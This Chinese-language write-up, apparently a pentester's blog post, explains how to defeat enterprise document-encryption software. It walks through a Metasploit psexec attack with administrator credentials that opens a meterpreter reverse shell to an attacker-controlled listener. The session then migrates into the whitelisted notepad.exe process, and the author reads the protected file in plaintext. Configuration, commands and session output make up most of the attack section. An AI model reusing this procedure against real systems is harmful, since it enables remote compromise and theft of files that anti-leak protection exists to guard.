背景:
先介绍下文档加密的工作机制,文档加密的主要作用是防泄密,安装了加密客户端的计算机,根据策略会自动加密相关类型的文件,并只允许合法程序打开,并且对该加密文件进行的任何操作(修改、另存、复制等),最终都会依然加密。而用非法程序(策略外的程序)打开都只会是密文乱码。当然,在没有安装该加密客户端的计算机上用任何程序也是密文乱码。
分析:
在了解了它的工作机制后,我开始设想,既然合法程序可以解密,那么假如将另一个伪程序注入到这个合法程序的进程中,那么这个伪程序是否就可以解密文件,然后再用伪程序对文件进行操作。最好这个伪程序还不在这个安装有加密客户端的操作系统上。要实现这种效果,我第一时间想到了大名鼎鼎的Metasploit。
骚操作:
我用的是exploit/windows/smb/psexec模块,虽然我是64位的WIN7但是Payload选的是windows/meterpreter/reverse_tcp。根据个人经验windows x64/meterpreter/reverse_tcp位的Payload经常会出现命令执行失败的情况。基本配置如下:
msf5 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.8.15 yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass xxxxxxxxxx no The password for the specified username
SMBUser administrator no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.8.13 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
进程未注入前用cat打开加密文件是乱码,如下:
meterpreter > cat test.txt
b#eflE-SafeNetLOCK)FST0gWnm¶79ªֆm˯Р<½.̬³ê6±P <hՏˮi¬¢B콎º®{#Ā¨<
nerpreter >
查看进程,找到合法进程notepad.exe的PID:
将会话注入到合法进程notepad.exe中:
meterpreter > cd C:\\Users\\Administrator\\Desktop
meterpreter > migrate 1884
[*] Migrating from 788 to 1884...
[*] Migration completed successfully.
再次用cat打开,发现已经成功解密:
meterpreter > cat test.txt
Test by Donvin Li.
This is an encrypted file that can only be opened using Notepad.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxtestxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
接下来,直接将结果输出重定向到文件中即可。至此,成功绕过文档加密的限制。